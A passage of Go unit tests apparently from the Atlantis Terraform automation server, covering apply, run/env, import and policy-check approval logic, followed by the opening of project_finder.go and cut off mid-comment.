mockApply.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "run": mockRun.VerifyWasCalledOnce().Run(ctx, nil, "", repoDir, expEnvs, true, nil, nil) case "env": mockEnv.VerifyWasCalledOnce().Run(ctx, nil, "", "value", repoDir, expEnvs) } } }) } } // Test that it runs the expected apply steps. func TestDefaultProjectCommandRunner_ApplyRunStepFailure(t *testing.T) { RegisterMockTestingT(t) mockApply := mocks.NewMockStepRunner() mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() mockSender := mocks.NewMockWebhooksSender() applyReqHandler := &events.DefaultCommandRequirementHandler{ WorkingDir: mockWorkingDir, } runner := events.DefaultProjectCommandRunner{ Locker: mockLocker, LockURLGenerator: mockURLGenerator{}, ApplyStepRunner: mockApply, WorkingDir: mockWorkingDir, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), CommandRequirementHandler: applyReqHandler, Webhooks: mockSender, } repoDir := t.TempDir() When(mockWorkingDir.GetWorkingDir( Any[models.Repo](), Any[models.PullRequest](), Any[string](), )).ThenReturn(repoDir, nil) When(mockLocker.TryLock( Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), Any[models.Project](), AnyBool(), )).ThenReturn(&events.TryLockResponse{ LockAcquired: true, LockKey: "lock-key", }, nil) ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Steps: []valid.Step{ { StepName: "apply", }, }, Workspace: "default", ApplyRequirements: []string{}, RepoRelDir: ".", } expEnvs := map[string]string{} When(mockApply.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("apply", fmt.Errorf("something went wrong")) res := runner.Apply(ctx) Assert(t, res.ApplySuccess == "", "exp apply failure") mockApply.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) } // Test run and env steps. We don't use mocks for this test since we're // not running any Terraform. func TestDefaultProjectCommandRunner_RunEnvSteps(t *testing.T) { RegisterMockTestingT(t) tfClient := tfclientmocks.NewMockClient() tfDistribution := terraform.NewDistributionTerraformWithDownloader(tmocks.NewMockDownloader()) tfVersion, err := version.NewVersion("0.12.0") Ok(t, err) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() run := runtime.RunStepRunner{ TerraformExecutor: tfClient, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, ProjectCmdOutputHandler: projectCmdOutputHandler, } env := runtime.EnvStepRunner{ RunStepRunner: &run, } mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() mockCommandRequirementHandler := mocks.NewMockCommandRequirementHandler() runner := events.DefaultProjectCommandRunner{ Locker: mockLocker, LockURLGenerator: mockURLGenerator{}, RunStepRunner: &run, EnvStepRunner: &env, WorkingDir: mockWorkingDir, Webhooks: nil, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), CommandRequirementHandler: mockCommandRequirementHandler, } repoDir := t.TempDir() When(mockWorkingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(repoDir, nil) When(mockLocker.TryLock(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), Any[models.Project](), AnyBool())).ThenReturn(&events.TryLockResponse{LockAcquired: true, LockKey: "lock-key"}, nil) ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Steps: []valid.Step{ { StepName: "run", RunCommand: "echo var=$var", }, { StepName: "env", EnvVarName: "var", EnvVarValue: "value", }, { StepName: "run", RunCommand: "echo var=$var", }, { StepName: "env", EnvVarName: "dynamic_var", RunCommand: "echo dynamic_value", }, { StepName: "run", RunCommand: "echo dynamic_var=$dynamic_var", }, // Test overriding the variable { StepName: "env", EnvVarName: "dynamic_var", EnvVarValue: "overridden", }, { StepName: "run", RunCommand: "echo dynamic_var=$dynamic_var", }, }, Workspace: "default", RepoRelDir: ".", } res := runner.Plan(ctx) Assert(t, res.PlanSuccess != nil, "exp plan success") Equals(t, "https://lock-key", res.PlanSuccess.LockURL) Equals(t, "var=\n\nvar=value\n\ndynamic_var=dynamic_value\n\ndynamic_var=overridden\n", res.PlanSuccess.TerraformOutput) } // Test that it runs the expected import steps. func TestDefaultProjectCommandRunner_Import(t *testing.T) { expEnvs := map[string]string{} cases := []struct { description string steps []valid.Step importReqs []string pullReqStatus models.PullReqStatus setup func(repoDir string, ctx command.ProjectContext, mockLocker *mocks.MockProjectLocker, mockInit *mocks.MockStepRunner, mockImport *mocks.MockStepRunner) expSteps []string expOut *models.ImportSuccess expFailure string }{ { description: "normal workflow", steps: valid.DefaultImportStage.Steps, importReqs: []string{"approved"}, pullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{ IsApproved: true, }, }, setup: func(repoDir string, ctx command.ProjectContext, mockLocker *mocks.MockProjectLocker, mockInit *mocks.MockStepRunner, mockImport *mocks.MockStepRunner) { When(mockLocker.TryLock( Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), Any[models.Project](), AnyBool(), )).ThenReturn(&events.TryLockResponse{ LockAcquired: true, LockKey: "lock-key", }, nil) When(mockInit.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("init", nil) When(mockImport.Run(ctx, nil, repoDir, expEnvs)).ThenReturn("import", nil) }, expSteps: []string{"import"}, expOut: &models.ImportSuccess{ Output: "init\nimport", RePlanCmd: "atlantis plan -d .", }, }, { description: "approval required", steps: valid.DefaultImportStage.Steps, importReqs: []string{"approved"}, pullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{ IsApproved: false, }, }, expFailure: "Pull request must be approved according to the project's approval rules before running import.", }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { RegisterMockTestingT(t) mockInit := mocks.NewMockStepRunner() mockImport := mocks.NewMockStepRunner() mockStateRm := mocks.NewMockStepRunner() mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() mockSender := mocks.NewMockWebhooksSender() applyReqHandler := &events.DefaultCommandRequirementHandler{ WorkingDir: mockWorkingDir, } runner := events.DefaultProjectCommandRunner{ Locker: mockLocker, LockURLGenerator: mockURLGenerator{}, InitStepRunner: mockInit, ImportStepRunner: mockImport, StateRmStepRunner: mockStateRm, WorkingDir: mockWorkingDir, Webhooks: mockSender, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), CommandRequirementHandler: applyReqHandler, } ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Steps: c.steps, Workspace: "default", ImportRequirements: c.importReqs, RepoRelDir: ".", PullReqStatus: c.pullReqStatus, RePlanCmd: "atlantis plan -d . -- addr id", } repoDir := t.TempDir() When(mockWorkingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(repoDir, nil) if c.setup != nil { c.setup(repoDir, ctx, mockLocker, mockInit, mockImport) } res := runner.Import(ctx) Equals(t, c.expOut, res.ImportSuccess) Equals(t, c.expFailure, res.Failure) for _, step := range c.expSteps { switch step { case "init": mockInit.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) case "import": mockImport.VerifyWasCalledOnce().Run(ctx, nil, repoDir, expEnvs) } } }) } } type mockURLGenerator struct{} func (m mockURLGenerator) GenerateLockURL(lockID string) string { return "https://" + lockID } // Test that custom policy checks use configured policy set names instead of defaulting to "Custom". // This is a regression test for https://github.com/runatlantis/atlantis/pull/5331 // where custom policy sets defaulting to "Custom" allowed any user to approve policies. func TestDefaultProjectCommandRunner_CustomPolicyCheckNames(t *testing.T) { RegisterMockTestingT(t) cases := []struct { description string customPolicyCheck bool policySets []valid.PolicySet policyOutputs []string expectedNames []string }{ { description: "Custom policy check with single named policy set", customPolicyCheck: true, policySets: []valid.PolicySet{ { Name: "security_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"security-team"}, }, }, }, policyOutputs: []string{"Policy check passed"}, expectedNames: []string{"security_policy"}, }, { description: "Custom policy check with multiple named policy sets", customPolicyCheck: true, policySets: []valid.PolicySet{ { Name: "security_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"security-team"}, }, }, { Name: "compliance_policy", ApproveCount: 2, Owners: valid.PolicyOwners{ Users: []string{"compliance-team"}, }, }, }, policyOutputs: []string{"Security check passed", "Compliance check FAIL"}, expectedNames: []string{"security_policy", "compliance_policy"}, }, { description: "Custom policy check defaults to 'Custom' when no policy set configured", customPolicyCheck: true, policySets: []valid.PolicySet{}, policyOutputs: []string{"Policy check passed"}, expectedNames: []string{"Custom"}, }, { description: "More outputs than policy sets - excess use 'Custom'", customPolicyCheck: true, policySets: []valid.PolicySet{ { Name: "security_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"security-team"}, }, }, }, policyOutputs: []string{"Security check passed", "Extra check passed"}, expectedNames: []string{"security_policy", "Custom"}, }, { description: "More policy sets than outputs - only received outputs processed", customPolicyCheck: true, policySets: []valid.PolicySet{ { Name: "security_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"security-team"}, }, }, { Name: "compliance_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"compliance-team"}, }, }, { Name: "audit_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"audit-team"}, }, }, }, policyOutputs: []string{"Security check passed"}, expectedNames: []string{"security_policy"}, }, { description: "Empty output is preserved and marked as failed", customPolicyCheck: true, policySets: []valid.PolicySet{ { Name: "security_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"security-team"}, }, }, { Name: "compliance_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"compliance-team"}, }, }, }, policyOutputs: []string{"Security check passed", ""}, expectedNames: []string{"security_policy", "compliance_policy"}, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { mockPolicyCheck := mocks.NewMockStepRunner() mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() runner := events.DefaultProjectCommandRunner{ Locker: mockLocker, LockURLGenerator: mockURLGenerator{}, PolicyCheckStepRunner: mockPolicyCheck, WorkingDir: mockWorkingDir, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), } repoDir := t.TempDir() When(mockWorkingDir.GetWorkingDir( Any[models.Repo](), Any[models.PullRequest](), Any[string](), )).ThenReturn(repoDir, nil) When(mockLocker.TryLock( Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), Any[models.Project](), AnyBool(), )).ThenReturn(&events.TryLockResponse{ LockAcquired: true, LockKey: "lock-key", }, nil) // Setup policy check steps - one step per policy output var steps []valid.Step for range c.policyOutputs { steps = append(steps, valid.Step{ StepName: "policy_check", }) } // Setup mock to return outputs in sequence // Note: pegomock will return these in order for successive calls for _, output := range c.policyOutputs { When(mockPolicyCheck.Run( Any[command.ProjectContext](), Any[[]string](), Any[string](), Any[map[string]string](), )).ThenReturn(output, nil) } ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", CustomPolicyCheck: c.customPolicyCheck, PolicySets: valid.PolicySets{ PolicySets: c.policySets, }, Steps: steps, } res := runner.PolicyCheck(ctx) Assert(t, res.Error == nil, "not expecting error: %v", res.Error) Assert(t, res.PolicyCheckResults != nil, "expecting policy check results") // Verify that the policy set names match the configured names policyResults := res.PolicyCheckResults.PolicySetResults Equals(t, len(c.expectedNames), len(policyResults)) for i, expectedName := range c.expectedNames { Equals(t, expectedName, policyResults[i].PolicySetName) } }) } } // Test that when custom policy check has configured policy sets but no outputs are generated, // it does NOT trigger "unable to unmarshal conftest output" error. // This test reproduces the bug where policySetResults remains nil when the outputs // array is empty, which would incorrectly trigger the nil check error. func TestDefaultProjectCommandRunner_CustomPolicyCheck_EmptyOutputsArray(t *testing.T) { RegisterMockTestingT(t) cases := []struct { description string customPolicyCheck bool policySets []valid.PolicySet steps []valid.Step expectError bool expectedErrorMsg string }{ { description: "Custom policy check with configured policy set but no steps (empty outputs array)", customPolicyCheck: true, policySets: []valid.PolicySet{ { Name: "test_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"test-user"}, }, }, }, steps: []valid.Step{}, // No steps - outputs array will be empty expectError: true, // Should error when policy sets configured but no results expectedErrorMsg: "custom policy check produced no results despite configured policy sets", }, { description: "Custom policy check with no configured policy sets and no steps", customPolicyCheck: true, policySets: []valid.PolicySet{}, // No policy sets configured steps: []valid.Step{}, // No steps expectError: false, // Should NOT error when no policy sets configured expectedErrorMsg: "", }, { description: "Non-custom (conftest) policy check with no steps", customPolicyCheck: false, policySets: []valid.PolicySet{}, steps: []valid.Step{}, expectError: true, expectedErrorMsg: "unable to unmarshal conftest output", }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { mockPolicyCheck := mocks.NewMockStepRunner() mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() runner := events.DefaultProjectCommandRunner{ Locker: mockLocker, LockURLGenerator: mockURLGenerator{}, PolicyCheckStepRunner: mockPolicyCheck, WorkingDir: mockWorkingDir, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), } repoDir := t.TempDir() When(mockWorkingDir.GetWorkingDir( Any[models.Repo](), Any[models.PullRequest](), Any[string](), )).ThenReturn(repoDir, nil) When(mockLocker.TryLock( Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), Any[models.Project](), AnyBool(), )).ThenReturn(&events.TryLockResponse{ LockAcquired: true, LockKey: "lock-key", UnlockFn: func() error { return nil }, }, nil) ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", CustomPolicyCheck: c.customPolicyCheck, PolicySets: valid.PolicySets{ PolicySets: c.policySets, }, Steps: c.steps, } res := runner.PolicyCheck(ctx) if c.expectError { Assert(t, res.Error != nil, "expecting error but got nil") if c.expectedErrorMsg != "" { Assert(t, res.Error.Error() == c.expectedErrorMsg, "expected error message '%s' but got '%s'", c.expectedErrorMsg, res.Error.Error()) } } else { Assert(t, res.Error == nil, "not expecting error but got: %v", res.Error) Assert(t, res.PolicyCheckResults != nil, "expecting policy check results") } }) } } // Test custom policy check failure detection logic (regex and FAIL prefix). func TestDefaultProjectCommandRunner_CustomPolicyCheckFailureDetection(t *testing.T) { RegisterMockTestingT(t) cases := []struct { description string policyOutput string expectedPassed bool expectedOutput string }{ { description: "Output with '1 failure' pattern should fail", policyOutput: "Policy check found 1 failure in the code", expectedPassed: false, expectedOutput: "Policy check found 1 failure in the code", }, { description: "Output with '2 failures' pattern should fail", policyOutput: "Found 2 failures in security scan", expectedPassed: false, expectedOutput: "Found 2 failures in security scan", }, { description: "Output with '10 failures' pattern should fail", policyOutput: "Total: 10 failures detected", expectedPassed: false, expectedOutput: "Total: 10 failures detected", }, { description: "Output with JSON 'failures': [...] pattern should fail", policyOutput: `{"result": "failures": [{"rule": "test"}]}`, expectedPassed: false, expectedOutput: `{"result": "failures": [{"rule": "test"}]}`, }, { description: "Output starting with 'FAIL' prefix should fail", policyOutput: "FAIL: Policy validation failed", expectedPassed: false, expectedOutput: "FAIL: Policy validation failed", }, { description: "Output starting with 'FAIL' after whitespace should fail", policyOutput: " FAIL: Something went wrong", expectedPassed: false, expectedOutput: " FAIL: Something went wrong", }, { description: "Output with 'FAIL' in middle should pass", policyOutput: "The check did not FAIL completely", expectedPassed: true, expectedOutput: "The check did not FAIL completely", }, { description: "Output with '0 failure' should pass (regex only matches 1-9)", policyOutput: "Found 0 failure in the scan", expectedPassed: true, expectedOutput: "Found 0 failure in the scan", }, { description: "Output with word 'failure' but not pattern should pass", policyOutput: "This is a failure message but not a failure count", expectedPassed: true, expectedOutput: "This is a failure message but not a failure count", }, { description: "Output with 'fail' word should pass (not matching pattern)", policyOutput: "The test might fail if conditions are not met", expectedPassed: true, expectedOutput: "The test might fail if conditions are not met", }, { description: "Output with 'failures' word but not JSON pattern should pass", policyOutput: "Checking for potential failures in the system", expectedPassed: true, expectedOutput: "Checking for potential failures in the system", }, { description: "Output with '99 failures' should fail", policyOutput: "Detected 99 failures in compliance check", expectedPassed: false, expectedOutput: "Detected 99 failures in compliance check", }, { description: "Output with '100 failures' should fail", policyOutput: "Total: 100 failures found", expectedPassed: false, expectedOutput: "Total: 100 failures found", }, { description: "Normal success output should pass", policyOutput: "Policy check passed successfully", expectedPassed: true, expectedOutput: "Policy check passed successfully", }, { description: "Empty output should fail (handled separately but included for completeness)", policyOutput: "", expectedPassed: false, expectedOutput: "WARNING: Policy check produced no output. This may indicate a misconfiguration.", }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { mockPolicyCheck := mocks.NewMockStepRunner() mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() runner := events.DefaultProjectCommandRunner{ Locker: mockLocker, LockURLGenerator: mockURLGenerator{}, PolicyCheckStepRunner: mockPolicyCheck, WorkingDir: mockWorkingDir, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), } repoDir := t.TempDir() When(mockWorkingDir.GetWorkingDir( Any[models.Repo](), Any[models.PullRequest](), Any[string](), )).ThenReturn(repoDir, nil) When(mockLocker.TryLock( Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), Any[models.Project](), AnyBool(), )).ThenReturn(&events.TryLockResponse{ LockAcquired: true, LockKey: "lock-key", }, nil) // Setup policy check step steps := []valid.Step{ { StepName: "policy_check", }, } // Setup mock to return the test output When(mockPolicyCheck.Run( Any[command.ProjectContext](), Any[[]string](), Any[string](), Any[map[string]string](), )).ThenReturn(c.policyOutput, nil) ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", CustomPolicyCheck: true, PolicySets: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Name: "test_policy", ApproveCount: 1, Owners: valid.PolicyOwners{ Users: []string{"test-user"}, }, }, }, }, Steps: steps, } res := runner.PolicyCheck(ctx) Assert(t, res.Error == nil, "not expecting error: %v", res.Error) Assert(t, res.PolicyCheckResults != nil, "expecting policy check results") // Verify the result policyResults := res.PolicyCheckResults.PolicySetResults Equals(t, 1, len(policyResults)) Equals(t, c.expectedPassed, policyResults[0].Passed) Equals(t, c.expectedOutput, policyResults[0].PolicyOutput) Equals(t, "test_policy", policyResults[0].PolicySetName) }) } } // Test approve policies logic. func TestDefaultProjectCommandRunner_ApprovePolicies(t *testing.T) { cases := []struct { description string policySetCfg valid.PolicySets policySetStatus []models.PolicySetStatus userTeams []string // Teams the user is a member of targetedPolicy string // Policy to target when running approvals clearPolicyApproval bool expOut []models.PolicySetResult expFailure string hasErr bool }{ { description: "When user is not an owner at any level, approve policy fails.", hasErr: true, policySetCfg: valid.PolicySets{ Owners: valid.PolicyOwners{ Users: []string{"someotheruser1"}, }, PolicySets: []valid.PolicySet{ { Name: "policy1", ApproveCount: 1, Owners: valid.PolicyOwners{ Teams: []string{"someotherteam"}, }, }, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, }, }, expFailure: "One or more policy sets require additional approval.", }, { description: "When user is a top-level owner, increment approval count on all policies.", hasErr: false, policySetCfg: valid.PolicySets{ Owners: valid.PolicyOwners{ Users: []string{testdata.User.Username}, }, PolicySets: []valid.PolicySet{ { Name: "policy1", ApproveCount: 1, }, { Name: "policy2", ApproveCount: 2, }, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 1, }, { PolicySetName: "policy2", ReqApprovals: 2, CurApprovals: 1, }, }, expFailure: "One or more policy sets require additional approval.", }, { description: "When user is not a top-level owner, but an owner of a policy set, increment approval count only the policy set they are an owner of.", hasErr: true, policySetCfg: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Owners: valid.PolicyOwners{ Users: []string{testdata.User.Username}, }, Name: "policy1", ApproveCount: 1, }, { Name: "policy2", ApproveCount: 2, }, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 1, }, { PolicySetName: "policy2", ReqApprovals: 2, CurApprovals: 0, }, }, expFailure: "One or more policy sets require additional approval.", }, { description: "When user is a top-level owner through membership, increment approval on all policies.", userTeams: []string{"someuserteam"}, policySetCfg: valid.PolicySets{ Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, PolicySets: []valid.PolicySet{ { Name: "policy1", ApproveCount: 1, }, { Name: "policy2", ApproveCount: 1, }, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 1, }, { PolicySetName: "policy2", ReqApprovals: 1, CurApprovals: 1, }, }, expFailure: "", }, { description: "When user is not a top-level owner, but is an owner of one policy set through nembership, increment approval only the policy to which they are an owner.", hasErr: true, userTeams: []string{"someuserteam"}, policySetCfg: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy1", ApproveCount: 1, }, { Name: "policy2", ApproveCount: 1, }, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 1, }, { PolicySetName: "policy2", ReqApprovals: 1, CurApprovals: 0, }, }, expFailure: "One or more policy sets require additional approval.", }, { description: "Do not increment or error on passing or fully-approved policy sets.", userTeams: []string{"someuserteam"}, policySetCfg: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy1", ApproveCount: 2, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 2, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 2, CurApprovals: 2, }, }, expFailure: ``, hasErr: false, }, { description: "Policies should not fail if they pass.", userTeams: []string{"someuserteam"}, policySetCfg: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy1", ApproveCount: 2, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Passed: true, Approvals: 0, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 2, CurApprovals: 0, Passed: true, }, }, expFailure: ``, hasErr: false, }, { description: "Non-targeted failing policies should still trigger failure when a targeted policy is cleared.", userTeams: []string{"someuserteam"}, targetedPolicy: "policy1", policySetCfg: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy1", ApproveCount: 1, }, { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy2", ApproveCount: 1, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 0, Passed: false, }, { PolicySetName: "policy2", Approvals: 0, Passed: false, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 1, }, { PolicySetName: "policy2", ReqApprovals: 1, CurApprovals: 0, }, }, expFailure: `One or more policy sets require additional approval.`, hasErr: false, }, { description: "Approval count should be zero if ClearPolicyApproval is set.", userTeams: []string{"someuserteam"}, clearPolicyApproval: true, policySetCfg: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy1", ApproveCount: 1, }, { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy2", ApproveCount: 2, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 1, Passed: false, }, { PolicySetName: "policy2", Approvals: 1, Passed: false, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 0, }, { PolicySetName: "policy2", ReqApprovals: 2, CurApprovals: 0, }, }, expFailure: `One or more policy sets require additional approval.`, hasErr: false, }, { description: "Approval count should not clear if user is not owner and ClearPolicyApproval is set.", userTeams: []string{"someuserteam"}, clearPolicyApproval: true, policySetCfg: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy1", ApproveCount: 1, }, { Owners: valid.PolicyOwners{ Teams: []string{"someotheruserteam"}, }, Name: "policy2", ApproveCount: 2, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 1, Passed: false, }, { PolicySetName: "policy2", Approvals: 1, Passed: false, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 0, }, { PolicySetName: "policy2", ReqApprovals: 2, CurApprovals: 1, }, }, expFailure: `One or more policy sets require additional approval.`, hasErr: true, }, { description: "Approval count should only clear targeted policies when ClearPolicyApproval is set.", userTeams: []string{"someuserteam"}, targetedPolicy: "policy2", clearPolicyApproval: true, policySetCfg: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy1", ApproveCount: 1, }, { Owners: valid.PolicyOwners{ Teams: []string{"someuserteam"}, }, Name: "policy2", ApproveCount: 2, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 1, Passed: false, }, { PolicySetName: "policy2", Approvals: 1, Passed: false, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 1, }, { PolicySetName: "policy2", ReqApprovals: 2, CurApprovals: 0, }, }, expFailure: `One or more policy sets require additional approval.`, hasErr: false, }, { description: "Policy Approval should not be the Author of the PR", userTeams: []string{"someuserteam"}, clearPolicyApproval: false, policySetCfg: valid.PolicySets{ PolicySets: []valid.PolicySet{ { Owners: valid.PolicyOwners{ Users: []string{"lkysow"}, }, Name: "policy1", ApproveCount: 1, }, { Owners: valid.PolicyOwners{ Users: []string{"lkysow"}, }, Name: "policy2", ApproveCount: 1, PreventSelfApprove: true, }, }, }, policySetStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 0, Passed: false, }, { PolicySetName: "policy2", Approvals: 0, Passed: false, }, }, expOut: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 1, }, { PolicySetName: "policy2", ReqApprovals: 1, CurApprovals: 0, }, }, expFailure: `One or more policy sets require additional approval.`, hasErr: true, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { RegisterMockTestingT(t) mockVcsClient := vcsmocks.NewMockClient() mockInit := mocks.NewMockStepRunner() mockPlan := mocks.NewMockStepRunner() mockApply := mocks.NewMockStepRunner() mockRun := mocks.NewMockCustomStepRunner() mockEnv := mocks.NewMockEnvStepRunner() mockWorkingDir := mocks.NewMockWorkingDir() mockLocker := mocks.NewMockProjectLocker() mockSender := mocks.NewMockWebhooksSender() runner := events.DefaultProjectCommandRunner{ Locker: mockLocker, VcsClient: mockVcsClient, LockURLGenerator: mockURLGenerator{}, InitStepRunner: mockInit, PlanStepRunner: mockPlan, ApplyStepRunner: mockApply, RunStepRunner: mockRun, EnvStepRunner: mockEnv, WorkingDir: mockWorkingDir, Webhooks: mockSender, WorkingDirLocker: events.NewDefaultWorkingDirLocker(), } repoDir := t.TempDir() When(mockWorkingDir.GetWorkingDir( Any[models.Repo](), Any[models.PullRequest](), Any[string](), )).ThenReturn(repoDir, nil) When(mockLocker.TryLock( Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](), Any[models.Project](), AnyBool(), )).ThenReturn(&events.TryLockResponse{ LockAcquired: true, LockKey: "lock-key", }, nil) var projPolicyStatus []models.PolicySetStatus if c.policySetStatus == nil { for _, p := range c.policySetCfg.PolicySets { projPolicyStatus = append(projPolicyStatus, models.PolicySetStatus{ PolicySetName: p.Name, }) } } else { projPolicyStatus = c.policySetStatus } modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num, Author: testdata.User.Username} When(runner.VcsClient.GetTeamNamesForUser(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.User))).ThenReturn(c.userTeams, nil) ctx := command.ProjectContext{ User: testdata.User, Log: logging.NewNoopLogger(t), Workspace: "default", RepoRelDir: ".", PolicySets: c.policySetCfg, ProjectPolicyStatus: projPolicyStatus, Pull: modelPull, PolicySetTarget: c.targetedPolicy, ClearPolicyApproval: c.clearPolicyApproval, } res := runner.ApprovePolicies(ctx) Equals(t, c.expOut, res.PolicyCheckResults.PolicySetResults) Equals(t, c.expFailure, res.Failure) if c.hasErr == true { Assert(t, res.Error != nil, "expecting error.") } else { Assert(t, res.Error == nil, "not expecting error.") } }) } } ================================================ FILE: server/events/project_finder.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "errors" "fmt" "io/fs" "os" "path" "path/filepath" "strings" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/utils" "github.com/moby/patternmatcher" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" "github.com/hashicorp/hcl/v2" "github.com/hashicorp/hcl/v2/gohcl" "github.com/hashicorp/hcl/v2/hclparse" ) // ProjectFinder determines which projects were modified in a given pull // request. type ProjectFinder interface { // DetermineProjects returns the list of projects that were modified based on // the modifiedFiles. The list will be 